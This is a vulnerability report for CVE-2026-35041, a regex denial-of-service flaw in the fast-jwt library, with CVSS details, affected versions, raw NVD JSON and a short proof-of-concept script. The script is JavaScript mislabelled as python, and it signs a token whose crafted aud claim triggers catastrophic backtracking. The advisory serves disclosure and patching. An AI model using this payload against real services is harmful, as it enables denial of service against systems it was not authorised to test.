Security Vulnerability Report
中文
CVE-2026-35041 CVSS 4.2 MEDIUM

CVE-2026-35041

Published: 2026-04-09 16:16:27
Last Modified: 2026-04-14 20:15:14

Description

fast-jwt provides fast JSON Web Token (JWT) implementation. From 5.0.0 to 6.2.0, a denial-of-service condition exists in fast-jwt when the allowedAud verification option is configured using a regular expression. Because the aud claim is attacker-controlled and the library evaluates it against the supplied RegExp, a crafted JWT can trigger catastrophic backtracking in the JavaScript regex engine, resulting in significant CPU consumption during verification. This vulnerability is fixed in 6.2.1.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:* - VULNERABLE
fast-jwt >= 5.0.0, <= 6.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const { createDecoder, createVerifier } = require('fast-jwt'); // Example of a vulnerable configuration // Using a regex that is susceptible to catastrophic backtracking const verifier = createVerifier({ key: 'secret', allowedAud: /^(a+)+$/, // Vulnerable regex pattern example checkTyp: 'JWT' }); // Attacker-controlled token payload // The 'aud' claim is crafted to trigger backtracking const payload = { aud: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab', iss: 'test' }; const { createSigner } = require('fast-jwt'); const signer = createSigner({ key: 'secret' }); const token = signer(payload); console.log('Attempting to verify malicious token...'); try { // This verification will cause high CPU usage (ReDoS) verifier(token); console.log('Verified'); } catch (e) { console.error('Verification failed or timed out'); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35041", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:27.383", "lastModified": "2026-04-14T20:15:13.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. From 5.0.0 to 6.2.0, a denial-of-service condition exists in fast-jwt when the allowedAud verification option is configured using a regular expression. Because the aud claim is attacker-controlled and the library evaluates it against the supplied RegExp, a crafted JWT can trigger catastrophic backtracking in the JavaScript regex engine, resulting in significant CPU consumption during verification. This vulnerability is fixed in 6.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "6.2.1", "matchCriteriaId": "0E23134A-F7C0-40FB-AB4C-5B056C011E0B"}]}]}], "references": [{"url": "https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nearform/fast-jwt/pull/595", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nearform/fast-jwt/releases/tag/v6.2.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-cjw9-ghj4-fwxf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-cjw9-ghj4-fwxf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}